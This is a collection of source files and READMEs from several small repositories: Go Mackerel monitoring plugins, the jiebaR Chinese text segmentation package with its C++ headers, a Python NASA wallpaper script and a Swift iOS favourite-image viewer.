res, err := http.DefaultClient.Do(req)
if err != nil {
return nil, err
} else if res.StatusCode != 200 {
return nil, fmt.Errorf("unable to get stats by status code (%d) from url (%s)", res.StatusCode, s.URI)
}
defer dclose(res.Body)
return s.parseStats(res.Body)
}
// Parse sora stats API response body
func (s SorastatsPlugin) parseStats(body io.Reader) (map[string]float64, error) {
stats := make(map[string]float64)
// decode to json
var soraStats SoraStats
if err := json.NewDecoder(body).Decode(&soraStats); err == nil {
stats["ongoing_connections"] = float64(soraStats.TotalOngoingConnections)
stats["successful_connections"] = float64(soraStats.TotalSuccessfulConnections)
stats["failed_connections"] = float64(soraStats.TotalFailedConnections)
stats["average_duration_sec"] = float64(soraStats.AverageDurationSec)
stats["average_setup_time_msec"] = float64(soraStats.AverageSetupTimeMsec)
stats["turn_tcp_connections"] = float64(soraStats.TotalTurnTCPConnections)
stats["turn_udp_connections"] = float64(soraStats.TotalTurnUDPConnections)
} else {
return nil, err
}
return stats, nil
}
func dclose(c io.Closer) {
if err := c.Close(); err != nil {
log.Fatal(err)
}
}
// Do the plugin
func Do() {
optURI := flag.String("uri", "", "URI")
optScheme := flag.String("scheme", "http", "Scheme")
optHost := flag.String("host", "localhost", "Hostname")
optPort := flag.String("port", "port", "Port")
optPrefix := flag.String("metric-key-prefix", "", "Metric key prefix")
optTempfile := flag.String("tempfile", "", "Temp file name")
flag.Parse()
var sora SorastatsPlugin
if *optURI != "" {
sora.URI = *optURI
} else {
sora.URI = fmt.Sprintf("%s://%s:%s", *optScheme, *optHost, *optPort)
}
sora.Prefix = *optPrefix
helper := mp.NewMackerelPlugin(sora)
helper.Tempfile = *optTempfile
helper.Run()
}
<file_sep>.PHONY: all
all:
go build -o check-file-existence main.go
.PHONY: package
package:
${GOPATH}/bin/gox --osarch "linux/amd64"
<file_sep># mackerel-agent-plugins
This is the additional unofficial pack of mackerel-agent plugins.
The official mackerel-agent-plugins is refered to below.
https://github.com/mackerelio/mackerel-agent-plugins
## Plugins in this pack
* [mackerel-plugin-check-existence](./mackerel-plugin-check-existence/README.md)
- File or Directory check plugin by 'ls' command for mackerel.io.agent.
* [mackerel-plugin-proc-cnt](./mackerel-plugin-proc-cnt/README.md)
- Process count custom metrics plugin for mackerel.io.agent.
* [mackerel-plugin-sora-stats](./mackerel-plugin-sora-stats/README.md)
- Sora stats report API custom metrics plugin for mackerel.io.agent.
- Sora is a software package of WebRTC SFU released by Shiguredo.
- refer to: https://sora.shiguredo.jp/
For detail, please look at each plugin's README.
# Install
Currently, the package in this repository is only for linux amd64.
If you want to use in other architecture, please contact us or submit issues.
## Linux
```
$ wget https://github.com/zenkigen/mackerel-agent-plugins/raw/master/zenkigen-mackerel-agent-plugins_1.0.0_amd64.deb
$ dpkg -i zenkigen-mackerel-agent-plugins_1.0.0_amd64.deb
```
# Build
Please see each plugin's README.
<file_sep>package main
import "github.com/zenkigen/mackerel-agent-plugins/mackerel-plugin-sora-stats/lib"
func main() {
mpsorastats.Do()
}
<file_sep>#!/usr/bin/make -f
include /usr/share/cdbs/1/rules/debhelper.mk
TARGET_DIR = "opt/zenkigen/mackerel-agent-plugins"
install/zenkigen-mackerel-agent-plugins::
install -pd $(DEB_DESTDIR)$(TARGET_DIR)
install -pm 755 bin/linux_amd64/check-file-existence $(DEB_DESTDIR)$(TARGET_DIR)
install -pm 755 bin/linux_amd64/mackerel-plugin-proc-cnt $(DEB_DESTDIR)$(TARGET_DIR)
install -pm 755 bin/linux_amd64/mackerel-plugin-sora-stats $(DEB_DESTDIR)$(TARGET_DIR)
<file_sep>.PHONY: all
all:
go build -o mackerel-plugin-sora-stats main.go
.PHONY: package
package:
${GOPATH}/bin/gox --osarch "linux/amd64"
<file_sep>package main
import "github.com/zenkigen/mackerel-agent-plugins/mackerel-plugin-proc-cnt/lib"
func main() {
mpproccnt.Do()
}
<file_sep>mackerel-plugin-sora-stats
=======================
Sora stats report API custom metrics plugin for mackerel.io.agent.
## Synopsis
```shell
mackerel-plugin-sora-sora [-host=<Hostname>] [-port=<Port>] [-scheme=<http|https>] [-tempfile=<Path to tmp file>] [-uri=<URI>]
```
## Exapmle of mackerel-agent-conf
```
[plugin.metrics.sora_stats]
command = "/path/to/mackerel-plugin-sora-sora"
```
## Build
```
$ go get github.com/zenkigen/mackerel-agent-plugins
$ go get github.com/mackerelio/go-mackerel-plugin
$ go build main.go
```
## Reference
### About Sora by Shiguredo
https://sora.shiguredo.jp
https://sora.shiguredo.jp/doc/index.html
### Sora Stats Report API
https://sora.shiguredo.jp/doc/API.html#id28
<file_sep>package checkexistence
import (
"flag"
"fmt"
"os"
"github.com/mackerelio/checkers"
"github.com/mattn/go-pipeline"
)
func run(path string) *checkers.Checker {
_, err := pipeline.Output(
[]string{"sh", "-c", fmt.Sprintf("ls %s 2>/dev/null", path)},
)
if err != nil {
return checkers.NewChecker(checkers.CRITICAL, fmt.Sprintf("Failed to access to %s by %s", path, err.Error()))
}
return checkers.NewChecker(checkers.OK, fmt.Sprintf("Successful access to %s", path))
}
// Do the plugin
func Do() {
optPath := flag.String("path", "", "Path to file or directory")
flag.Parse()
if *optPath == "" {
flag.PrintDefaults()
os.Exit(1)
}
ckr := run(*optPath)
ckr.Name = "Existence"
ckr.Exit()
}
<file_sep>mackerel-plugin-check-existence
=======================
File or Directory check plugin for mackerel.io.agent.
## Synopsis
```shell
check-file-existence [-path=<Path to file or directory>]
```
## Exapmle of mackerel-agent-conf
```
[plugin.metrics.proc_cnt]
command = "/path/to/check-file-existence -path /tmp/archive"
```
## Build
```
$ go get github.com/zenkigen/mackerel-agent-plugins
$ go get github.com/mackerelio/checkers
$ go get github.com/mattn/go-pipeline
$ go build main.go
```
| 225fbd45eb0a84f8999b85920c2a0c14ba17bf49 | [
"Markdown",
"Makefile",
"Go"
] | 14 | Makefile | m-yoshimo/mackerel-agent-plugins | 132583d04e05c9214933c24b039269d647445437 | b2a689183e9da2aaa18e05e1c0983bd16acbcd87 |
refs/heads/master | <file_sep># jiebaR
Linux : [](https://travis-ci.org/qinwf/jiebaR) Mac : [](https://travis-ci.org/qinwf/jiebaR) Windows : [](https://ci.appveyor.com/project/qinwf53234/jiebar/branch/master)
["结巴"中文分词]的R语言版本,支持最大概率法(Maximum Probability),隐式马尔科夫模型(Hidden Markov Model),索引模型(QuerySegment),混合模型(MixSegment),共四种分词模式,同时有词性标注,关键词提取,文本Simhash相似度比较等功能。项目使用了[Rcpp]和[CppJieba]进行开发。
你还可以试试支持中文编程的 Julia 分词 [Jieba.jl](https://github.com/qinwf/Jieba.jl)。
## 特性
+ 支持 Windows,Linux,Mac 操作系统。
+ 通过 Rcpp 实现同时加载多个分词系统,可以分别使用不同的分词模式和词库。
+ 支持多种分词模式、中文姓名识别、关键词提取、词性标注以及文本Simhash相似度比较等功能。
+ 支持加载自定义用户词库,设置词频、词性。
+ 同时支持简体中文、繁体中文分词。
+ 支持自动判断编码模式。
+ 比原["结巴"中文分词]速度快,是其他R分词包的5-20倍。
+ 安装简单,无需复杂设置。
+ 可以通过[Rpy2],[jvmr]等被其他语言调用。
+ 基于MIT协议。
## GitHub 版更新 v0.3.1
+ 重构C++部分代码,移除Rcpp Modules,加快包加载速度和函数调用速度。
+ 优化筛选标点符号的正则表达式,现可识别生僻汉字。
## 安装
通过CRAN安装:
```r
install.packages("jiebaR")
library("jiebaR")
```
同时还可以通过Github安装[开发版],建议使用 gcc >= 4.6 编译包:
```r
library(devtools)
install_github("qinwf/jiebaR")
library("jiebaR")
```
## 使用示例
### 分词
jiebaR提供了四种分词模式,可以通过`worker()`来初始化分词引擎,使用`segment()`进行分词。
```r
## 接受默认参数,建立分词引擎
mixseg = worker()
## 相当于:
## worker( type = "mix", dict = "inst/dict/jieba.dict.utf8",
## hmm = "inst/dict/hmm_model.utf8", ### HMM模型数据
## user = "inst/dict/user.dict.utf8") ### 用户自定义词库
mixseg <= "江州市长江大桥参加了长江大桥的通车仪式" ### <= 分词运算符
## 相当于 segment( "江州市长江大桥参加了长江大桥的通车仪式" , mixseg )
```
```r
[1] "江州" "市长" "江大桥" "参加" "了" "长江大桥"
[7] "的" "通车" "仪式"
```
支持对文件进行分词:
```r
mixseg <= "./temp.dat" ### 自动判断输入文件编码模式,默认文件输出在同目录下。
## segment( "./temp.dat" , mixseg )
```
在加载分词引擎时,可以自定义词库路径,同时可以启动不同的引擎:
最大概率法(MPSegment),负责根据Trie树构建有向无环图和进行动态规划算法,是分词算法的核心。
隐式马尔科夫模型(HMMSegment)是根据基于人民日报等语料库构建的HMM模型来进行分词,主要算法思路是根据(B,E,M,S)四个状态来代表每个字的隐藏状态。 HMM模型由dict/hmm_model.utf8提供。分词算法即viterbi算法。
混合模型(MixSegment)是四个分词引擎里面分词效果较好的类,结它合使用最大概率法和隐式马尔科夫模型。
索引模型(QuerySegment)先使用混合模型进行切词,再对于切出来的较长的词,枚举句子中所有可能成词的情况,找出词库里存在。
```r
mixseg2 = worker(type = "mix", dict = "dict/jieba.dict.utf8",
hmm = "dict/hmm_model.utf8",
user = "dict/test.dict.utf8",
detect=T, symbol = F,
lines = 1e+05, output = NULL
)
mixseg2 ### 输出worker的设置
```
```r
Worker Type: Mix Segment
Detect Encoding : TRUE
Default Encoding: UTF-8
Keep Symbols : FALSE
Output Path :
Write File : TRUE
Max Read Lines : 1e+05
Fixed Model Components:
$dict
[1] "dict/jieba.dict.utf8"
$hmm
[1] "dict/hmm_model.utf8"
$user
[1] "dict/test.dict.utf8"
$detect $encoding $symbol $output $write $lines can be reset.
```
可以通过R语言常用的 `$`符号重设一些`worker`的参数设置,如 ` WorkerName$symbol = T `,在输出中保留标点符号。一些参数在初始化的时候已经确定,无法修改, 可以通过`WorkerName$PrivateVarible`来获得这些信息。
```r
mixseg$encoding
mixseg$detect = F
```
可以自定义用户词库,推荐使用[深蓝词库转换]构建分词词库,它可以快速地将搜狗细胞词库等输入法词库转换为jiebaR的词库格式。
```r
show_dictpath() ### 显示词典路径
edit_dict("user") ### 编辑用户词典
?edit_dict() ### 打开帮助系统
```
系统词典共有三列,第一列为词项,第二列为词频,第三列为词性标记。
用户词典有两列,第一列为词项,第二列为词性标记。用户词库默认词频为系统词库中的最大词频,如需自定义词频率,可将新词添加入系统词库中。
词典中的词性标记采用ictclas的标记方法。
### 快速模式
无需使用`worker()`,使用默认参数启动引擎,并立即进行分词:
```r
library(jiebaR)
qseg <= "江州市长江大桥参加了长江大桥的通车仪式"
```
```r
[1] "江州" "市长" "江大桥" "参加" "了" "长江大桥" "的"
[8] "通车" "仪式"
```
`qseg` ~ quick segmentation,使用默认分词模式,自动建立分词引擎,类似于`ggplot2`包里面的`qplot`函数。
```r
### 第一次运行时,启动默认引擎 quick_worker,第二次运行,不再启动引擎。
qseg <= "这是测试文本。"
```
```r
[1] "这是" "测试" "文本"
```
```r
### 效果相同
quick_worker <= "这是测试文本。"
qseg
```
```r
Worker Type: Mix Segment
Detect Encoding : TRUE
Default Encoding: UTF-8
Keep Symbols : FALSE
Output Path : NULL
.......
```
可以通过`qseg$`重设模型参数,重设模型参数将会修改以后每次默认启动的默认参数,如果只是希望单次修改模型参数,可以使用非快速模式的修改方式`quick_worker$`。
```r
qseg$type = "mp" ### 重设模型参数的同时,重新启动引擎。
qseg$type ### 下次重新启动包是将使用现在的参数,构建模型。
quick_worker$detect = T ### 临时修改,对下次重新启动包时,没有影响。
get_qsegmodel() ### 获得当前快速模式的默认参数
```
### 词性标注
可以使用 `<=.tagger` 或者 `tag` 来进行分词和词性标注,词性标注使用混合模型模型分词,标注采用和 ictclas 兼容的标记法。
```r
words = "我爱北京天安门"
tagger = worker("tag")
tagger <= words
```
```r
r v ns ns
"我" "爱" "北京" "天安门"
```
### 关键词提取
关键词提取所使用逆向文件频率(IDF)文本语料库可以切换成自定义语料库的路径,使用方法与分词类似。`topn`参数为关键词的个数。
```r
keys = worker("keywords", topn = 1)
keys <= "我爱北京天安门"
keys <= "一个文件路径.txt"
```
```r
8.9954
"天安门"
```
### Simhash 与海明距离
对中文文档计算出对应的simhash值。simhash是谷歌用来进行文本去重的算法,现在广泛应用在文本处理中。Simhash引擎先进行分词和关键词提取,后计算Simhash值和海明距离。
```r
words = "hello world!"
simhasher = worker("simhash",topn=2)
simhasher <= "江州市长江大桥参加了长江大桥的通车仪式"
```
```r
$simhash
[1] "12882166450308878002"
$keyword
22.3853 8.69667
"长江大桥" "江州"
```
```r
distance("江州市长江大桥参加了长江大桥的通车仪式" , "hello world!", simhasher)
```
```r
$distance
[1] "23"
$lhs
22.3853 8.69667
"长江大桥" "江州"
$rhs
11.7392 11.7392
"hello" "world"
```
## 计划支持
+ 支持 Windows , Linux , Mac 操作系统并行分词。
+ 简单的自然语言统计分析功能。
# jiebaR
This is a package for Chinese text segmentation, keyword extraction
and speech tagging. `jiebaR` supports four
types of segmentation modes: Maximum Probability, Hidden Markov Model, Query Segment and Mix Segment.
## Features
+ Support Windows, Linux,and Mac.
+ Using Rcpp to load different segmentation worker at the same time.
+ Support Chinese text segmentation, keyword extraction, speech tagging and simhash computation.
+ Custom dictionary path.
+ Support simplified Chinese and traditional Chinese.
+ New words identification.
+ Auto encoding detection.
+ Fast text segmentation.
+ Easy installation.
+ MIT license.
## Installation
Install the latest development version from GitHub:
```r
devtools::install_github("qinwf/jiebaR")
```
Install from [CRAN](http://cran.r-project.org/web/packages/jiebaR/index.html):
```r
install.packages("jiebaR")
```
## Example
### Text Segmentation
There are four segmentation models. You can use `worker()` to initialize a worker, and then use `<=` or `segment()` to do the segmentation.
```r
library(jiebaR)
## Using default argument to initialize worker.
cutter = worker()
## jiebar( type = "mix", dict = "dictpath/jieba.dict.utf8",
## hmm = "dictpath/hmm_model.utf8", ### HMM model data
## user = "dictpath/user.dict.utf8") ### user dictionary
### Note: Can not display Chinese character here.
cutter <= "This is a good day!"
## OR segment( "This is a good day!" , cutter )
```
```r
[1] "This" "is" "a" "good" "day"
```
You can pipe a file path to cut file.
```r
cutter <= "./temp.dat" ### Auto encoding detection.
## OR segment( "./temp.dat" , cutter )
```
The package uses initialized engines for word segmentation. You
can initialize multiple engines simultaneously.
```r
cutter2 = worker(type = "mix", dict = "dict/jieba.dict.utf8",
hmm = "dict/hmm_model.utf8",
user = "dict/test.dict.utf8",
detect=T, symbol = F,
lines = 1e+05, output = NULL
)
cutter2 ### Print information of worker
```
```r
Worker Type: Mix Segment
Detect Encoding : TRUE
Default Encoding: UTF-8
Keep Symbols : FALSE
Output Path :
Write File : TRUE
Max Read Lines : 1e+05
Fixed Model Components:
$dict
[1] "dict/jieba.dict.utf8"
$hmm
[1] "dict/hmm_model.utf8"
$user
[1] "dict/test.dict.utf8"
$detect $encoding $symbol $output $write $lines can be reset.
```
The model public settings can be modified and got using `$` , such as ` WorkerName$symbol = T `. Some private settings are fixed when the engine is initialized, and you can get them by `WorkerName$PrivateVarible`.
```r
cutter$encoding
cutter$detect = F
```
Users can specify their own custom dictionary to be included in the jiebaR default dictionary. jiebaR is able to identify new words, but adding your own new words can ensure a higher accuracy. [imewlconverter] is a good tools for dictionary construction.
```r
show_dictpath() ### Show path
edit_dict() ### Edit user dictionary
?edit_dict() ### For more information
```
There are three column in the system dictionary. The first column is the word, and the second column is the frequency of word. The third column is
speech tag using labels compatible with ictclas.
There are two column in the user dictionary. The first column is the word,
and the second column is speech tag using labels compatible with ictclas.
Frequency of every word in the user dictionary will be the maximum number of the system dictionary. If you want to provide the frequency for a new word, you can put it in the system dictionary.
### Speech Tagging
Speech Tagging function `<=.tagger` or `tag` uses speech tagging worker to cut word and tags each word after segmentation, using labels compatible with ictclas. `dict` `hmm` and `user` should be provided when initializing `jiebaR` worker.
```r
words = "hello world"
tagger = worker("tag")
tagger <= words
```
```r
x x
"hello" "world"
```
### Keyword Extraction
Keyword Extraction worker use MixSegment model to cut word and use
TF-IDF algorithm to find the keywords. `dict`, `hmm`,
`idf`, `stop_word` and `topn` should be provided when initializing `jiebaR` worker.
```r
keys = worker("keywords", topn = 1)
keys <= "words of fun"
```
```r
11.7392
"fun"
```
### Simhash Distance
Simhash worker can do keyword extraction and find
the keywords from two inputs, and then computes Hamming distance between them.
```r
words = "hello world"
simhasher = worker("simhash",topn=1)
simhasher <= words
```
```r
$simhash
[1] "3804341492420753273"
$keyword
11.7392
"hello"
```
```r
distance("hello world" , "hello world!" , simhasher)
```
```r
$distance
[1] "0"
$lhs
11.7392
"hello"
$rhs
11.7392
"hello"
```
## Future Development
+ Support parallel programming on Windows , Linux , Mac.
+ Simple Natural Language Processing features.
## More Information and Issues
[https://github.com/qinwf/jiebaR](https://github.com/qinwf/jiebaR)
[https://github.com/aszxqw/cppjieba](https://github.com/aszxqw/cppjieba)
["结巴"中文分词]:https://github.com/fxsjy/jieba
[Rcpp]:https://github.com/RcppCore/Rcpp
[Cppjieba]:https://github.com/aszxqw/cppjieba
[Rtools]:http://mirrors.xmu.edu.cn/CRAN/bin/windows/Rtools
[深蓝词库转换]:https://github.com/studyzy/imewlconverter
[开发版]:https://ci.appveyor.com/project/qinwf53234/jiebar/branch/master/artifacts
[Rpy2]:http://rpy.sourceforge.net/
[jvmr]:http://dahl.byu.edu/software/jvmr/
[imewlconverter]:https://github.com/studyzy/imewlconverter
<file_sep>#ifndef CPPJIEBA_POS_TAGGING_H
#define CPPJIEBA_POS_TAGGING_H
#include "MixSegment.hpp"
#include "Limonp/StringUtil.hpp"
#include "DictTrie.hpp"
#include "Rcpp.h"
using namespace Rcpp;
namespace CppJieba
{
using namespace Limonp;
class PosTagger
{
private:
MixSegment _segment;
const DictTrie * _dictTrie;
public:
PosTagger()
{}
PosTagger(
const string& dictPath,
const string& hmmFilePath,
const string& userDictPath = ""
)
{
init(dictPath, hmmFilePath, userDictPath);
};
~PosTagger(){};
public:
void init(
const string& dictPath,
const string& hmmFilePath,
const string& userDictPath = ""
)
{
LIMONP_CHECK(_segment.init(dictPath, hmmFilePath, userDictPath));
_dictTrie = _segment.getDictTrie();
LIMONP_CHECK(_dictTrie);
};
bool tag(const string& src, vector<pair<string, string> >& res) const
{
vector<string> cutRes;
if (!_segment.cut(src, cutRes))
{
Rcout<<"_mixSegment cut failed"<<std::endl;
return false;
}
const DictUnit *tmp = NULL;
Unicode unico;
for (vector<string>::iterator itr = cutRes.begin(); itr != cutRes.end(); ++itr)
{
if (!TransCode::decode(*itr, unico))
{
Rcout<<"decode failed."<<std::endl;
return false;
}
tmp = _dictTrie->find(unico.begin(), unico.end());
res.push_back(make_pair(*itr, tmp == NULL ? "x" : tmp->tag));
}
tmp = NULL;
return !res.empty();
}
};
}
#endif
<file_sep>#ifndef CPPJIEBA_TRIE_HPP
#define CPPJIEBA_TRIE_HPP
#include "Limonp/StdExtension.hpp"
#include <vector>
#include "Rcpp.h"
using namespace Rcpp;
namespace CppJieba
{
using namespace std;
template <class KeyType, class ValueType>
class TrieNode
{
public:
typedef unordered_map<KeyType, TrieNode<KeyType, ValueType>* > KeyMapType;
public:
KeyMapType *ptKeyMap;
const ValueType *ptValue;
};
template <class KeyType, class ValueType, class KeyContainerType = vector<KeyType>, class KeysContainerType = vector<KeyContainerType>, class ValueContainerType = vector<const ValueType * > >
class Trie
{
public:
typedef TrieNode<KeyType, ValueType> TrieNodeType;
private:
TrieNodeType *_root;
public:
Trie(const KeysContainerType &keys, const ValueContainerType &valuePointers)
{
_root = new TrieNodeType;
_root->ptKeyMap = NULL;
_root->ptValue = NULL;
_createTrie(keys, valuePointers);
}
~Trie()
{
if (_root)
{
_deleteNode(_root);
}
}
public:
const ValueType *find(typename KeyContainerType::const_iterator begin, typename KeyContainerType::const_iterator end) const
{
typename TrieNodeType::KeyMapType::const_iterator citer;
const TrieNodeType *ptNode = _root;
for (typename KeyContainerType::const_iterator it = begin; it != end; it++)
{
if (!(ptNode))
{
stop("!(ptNode) Trie.hpp : 52");
}
if (NULL == ptNode->ptKeyMap || ptNode->ptKeyMap->end() == (citer = ptNode->ptKeyMap->find(*it)))
{
return NULL;
}
ptNode = citer->second;
}
return ptNode->ptValue;
}
bool find(typename KeyContainerType::const_iterator begin, typename KeyContainerType::const_iterator end, map<typename KeyContainerType::size_type, const ValueType * > &ordererMap, size_t offset = 0) const
{
const TrieNodeType *ptNode = _root;
typename TrieNodeType::KeyMapType::const_iterator citer;
ordererMap.clear();
for (typename KeyContainerType::const_iterator itr = begin; itr != end ; itr++)
{
if (!(ptNode))
{
stop("!(ptNode) Trie.hpp : 52");
}
if (NULL == ptNode->ptKeyMap || ptNode->ptKeyMap->end() == (citer = ptNode->ptKeyMap->find(*itr)))
{
break;
}
ptNode = citer->second;
if (ptNode->ptValue)
{
ordererMap[itr - begin + offset] = ptNode->ptValue;
}
}
return ordererMap.size();
}
private:
void _createTrie(const KeysContainerType &keys, const ValueContainerType &valuePointers)
{
if (valuePointers.empty() || keys.empty())
{
return;
}
if (!(keys.size() == valuePointers.size()))
{
stop("keys.size() != valuePointers.size() Trie.hpp : 52");
}
for (size_t i = 0; i < keys.size(); i++)
{
_insertNode(keys[i], valuePointers[i]);
}
}
private:
void _insertNode(const KeyContainerType &key, const ValueType *ptValue)
{
TrieNodeType *ptNode = _root;
typename TrieNodeType::KeyMapType::const_iterator kmIter;
for (typename KeyContainerType::const_iterator citer = key.begin(); citer != key.end(); citer++)
{
if (NULL == ptNode->ptKeyMap)
{
ptNode->ptKeyMap = new typename TrieNodeType::KeyMapType;
}
kmIter = ptNode->ptKeyMap->find(*citer);
if (ptNode->ptKeyMap->end() == kmIter)
{
TrieNodeType *nextNode = new TrieNodeType;
nextNode->ptKeyMap = NULL;
nextNode->ptValue = NULL;
(*ptNode->ptKeyMap)[*citer] = nextNode;
ptNode = nextNode;
}
else
{
ptNode = kmIter->second;
}
}
ptNode->ptValue = ptValue;
}
void _deleteNode(TrieNodeType *node)
{
if (!node)
{
return;
}
if (node->ptKeyMap)
{
typename TrieNodeType::KeyMapType::iterator it;
for (it = node->ptKeyMap->begin(); it != node->ptKeyMap->end(); it++)
{
_deleteNode(it->second);
}
delete node->ptKeyMap;
}
delete node;
}
};
}
#endif
| 05315cd4dae46f248033888468e269ad82e2d634 | [
"Markdown",
"C++"
] | 3 | Markdown | edwardchu86/jiebaR | 963a667bc31eece82d8baec1a274c91411f9953d | f4c78a304de4d67371096b73ecf735596e24b4f3 |
refs/heads/master | <file_sep>import datetime
import time
import random
import os
from os import system
import pwd
import requests
system('clear')
print ("Welcome to SetNASAWallpaper, where you can set your wallpaper as a NASA image.")
input ("Press enter when you want to continue...")
system('clear')
def GenerateDate():
start_date = datetime.date(1996, 1, 1)
end_date = datetime.date.today()
time_between_dates = end_date - start_date
days_between_dates = time_between_dates.days
random_number_of_days = random.randrange(days_between_dates)
random_date = start_date + datetime.timedelta(days=random_number_of_days)
return random_date
print ("Loading...")
time.sleep(2)
system('clear')
userimage = input ("""What image would you like to set as your wallpaper?
---------------------------------------------
a) Today's Image
b) A Random Image
c) An image from a specific date
Type your answer here: """)
system('clear')
if userimage == "b":
date = GenerateDate()
elif userimage == "c":
date = input ("What is your specific date (YYYY-MM-DD): ")
else:
date = datetime.date.today()
"""Please enter your NASA API Key here,
if you don't have one, you can get one at https://api.nasa.gov
"""
apikey = <API-KEY>
url = f"https://api.nasa.gov/planetary/apod?api_key={apikey}&date={date}"
filename = "YourNASAWallpaper.png"
def GetFileName():
username = pwd.getpwuid(os.getuid()).pw_name
directory = "/Users/" + username + "/Downloads/"
return os.path.join(directory, filename)
def GetImage():
res = requests.get(url)
if res.status_code != 200:
print ("There was an error with the API. Try re-entering your API Key.")
return
imageurl = res.json()["url"]
if "jpg" not in imageurl:
print ("Sorry! There isn't a picture available from NASA at this time. Try again!")
else:
print ("Loading...")
image = requests.get(imageurl, allow_redirects=True)
filename = GetFileName()
open(filename, 'wb').write(image.content)
GetImage()
filename = GetFileName()
cmd = "osascript -e 'tell application \"Finder\" to set desktop picture to POSIX file \"" + filename + "\"'"
os.system(cmd)
system('clear')
print ("Your wallpaper is now a NASA Image! To find your Image, go to your Downloads folder and find 'YourNASAWallpaper.png'") | 15b70e645202b56862e5a89f4c1b9be47cac50b5 | [
"Python"
] | 1 | Python | sgav191/SetNASAWallpaper | 0147514c22d6e04392ad44f426048a5fd5e02eee | 9e996a8861bdf5ccc857ddaf867922062494d6a9 |
refs/heads/master | <repo_name>coe6/Pic-a-Puppy-GUS-<file_sep>/Pic! a Puppy (GUS VERSION)/Pic! a Puppy (GUS VERSION)/ThirdViewController.swift
//
// ThirdViewController.swift
// Pic! a Puppy (GUS VERSION)
//
// Created by Sam on 5/24/18.
// Copyright © 2018 github.com/coe6. All rights reserved.
//
import UIKit
class ThirdViewController: UIViewController {
@IBOutlet weak var gusImg: UIImageView!
@IBOutlet weak var prevBttn: UIButton!
@IBOutlet weak var nextBttn: UIButton!
@IBOutlet weak var favBttn: UIButton!
@IBOutlet weak var favText: UILabel!
var ImgArr: [imgProp] = []
var gusImgFav = [String]()
var index = 0
var indexArr = [Int]()
override func viewDidLoad() {
super.viewDidLoad()
if(ImgArr.count > 0) {
for i in 0...ImgArr.count-1 {
if(ImgArr[i].fav) {
gusImgFav.append(ImgArr[i].img)
indexArr.append(ImgArr[i].index)
}
}
if(gusImgFav.count > 0) {
gusImg.image = UIImage(named: gusImgFav[0])
changeFavBttn()
favText.isHidden = true
enableBttn()
} else {
favText.isHidden = false
disableBttn()
}
} else {
favText.isHidden = false
disableBttn()
}
let tap = UITapGestureRecognizer(target: self, action: #selector(doubleTapped))
tap.numberOfTapsRequired = 2
view.addGestureRecognizer(tap)
}
@objc func doubleTapped() {
favImg()
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
let vc = segue.destination as! ViewController
vc.ImgArr = ImgArr
}
func disableBttn() {
favBttn.isEnabled = false
nextBttn.isEnabled = false
prevBttn.isEnabled = false
}
func enableBttn() {
favBttn.isEnabled = true
nextBttn.isEnabled = true
prevBttn.isEnabled = true
}
func changeFavBttn() {
if(ImgArr[indexArr[index]].fav) {
favBttn.setImage(#imageLiteral(resourceName: "postFAV"), for: .normal)
} else {
favBttn.setImage(#imageLiteral(resourceName: "preFAV"), for: .normal)
}
}
func generateImg() {
if(index < gusImgFav.count-1) {
index += 1
UIView.transition(with: gusImg, duration: 0.2, options: .transitionCurlUp, animations: {
self.gusImg.image = UIImage(named: self.gusImgFav[self.index])
}, completion: nil)
} else {
index = 0
if(gusImgFav.count > 0) {
UIView.transition(with: gusImg, duration: 0.2, options: .transitionCurlUp, animations: {
self.gusImg.image = UIImage(named: self.gusImgFav[self.index])
}, completion: nil)
} else {
favText.isHidden = false
gusImg.isHidden = true
disableBttn()
return
}
}
changeFavBttn()
}
func prevImg() {
if(index != 0) {
index -= 1
} else {
index = gusImgFav.count-1
}
UIView.transition(with: gusImg, duration: 0.2, options: .transitionCurlDown, animations: {
self.gusImg.image = UIImage(named: self.gusImgFav[self.index])
}, completion: nil)
changeFavBttn()
}
func favImg() {
if(ImgArr[indexArr[index]].fav) {
let alert = UIAlertController(title: "Are you sure you would like to unfavorite?", message: "You will have to wait for the image to reappear in order to favorite it again..", preferredStyle: UIAlertControllerStyle.actionSheet)
alert.addAction(UIAlertAction(title: "Yes", style: UIAlertActionStyle.default, handler: { action in
self.ImgArr[self.indexArr[self.index]].fav = !self.ImgArr[self.indexArr[self.index]].fav
self.changeFavBttn()
self.gusImgFav.remove(at: self.index)
self.indexArr.remove(at: self.index)
self.generateImg()
}))
alert.addAction(UIAlertAction(title: "No", style: UIAlertActionStyle.cancel, handler: nil))
self.present(alert, animated: true)
}
if(gusImgFav.count == 0) {
disableBttn()
} else {
enableBttn()
}
}
@IBAction func swipeGest(_ sender: Any) {
let swipeGesture = sender as! UISwipeGestureRecognizer
switch swipeGesture.direction {
case UISwipeGestureRecognizerDirection.right:
prevImg()
break
case UISwipeGestureRecognizerDirection.left:
generateImg()
break
default: break
}
}
@IBAction func bttnPress(_ sender: Any) {
let button = sender as! UIButton
switch button.tag {
case 1:
generateImg()
break
case 2:
prevImg()
break
case 3:
favImg()
break
default:
break
}
}
}
//code for storing fav images
// override func viewDidLoad() {
// super.viewDidLoad()
//
// if(ImgArr.count > 0) {
// for i in 0...ImgArr.count-1 {
// if(ImgArr[i].fav) {
// gusImgFav.append(ImgArr[i].img)
// indexArr.append(ImgArr[i].index)
// }
// }
//
// if(gusImgFav.count > 0) {
// gusImg.image = UIImage(named: gusImgFav[0])
// changeFavBttn()
// favText.isHidden = true
// enableBttn()
// } else {
// favText.isHidden = false
// disableBttn()
// }
// } else {
// favText.isHidden = false
// disableBttn()
// }
//
// let tap = UITapGestureRecognizer(target: self, action: #selector(doubleTapped))
// tap.numberOfTapsRequired = 2
// view.addGestureRecognizer(tap)
//
// print(gusImgFav)
// print(indexArr)
// }
//
// @objc func doubleTapped() {
// favImg()
// }
//
// override func didReceiveMemoryWarning() {
// super.didReceiveMemoryWarning()
// // Dispose of any resources that can be recreated.
// }
//
// override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
// let vc = segue.destination as! ViewController
// vc.ImgArr = ImgArr
// vc.gusImgFav = gusImgFav
// vc.indexArr = indexArr
// }
//
// func disableBttn() {
// favBttn.isEnabled = false
// nextBttn.isEnabled = false
// prevBttn.isEnabled = false
// }
//
// func enableBttn() {
// favBttn.isEnabled = true
// nextBttn.isEnabled = true
// prevBttn.isEnabled = true
// }
//
// func changeFavBttn() {
// if(ImgArr[indexArr[index]].fav) {
// favBttn.setImage(#imageLiteral(resourceName: "postFAV"), for: .normal)
// } else {
// favBttn.setImage(#imageLiteral(resourceName: "preFAV"), for: .normal)
// }
// }
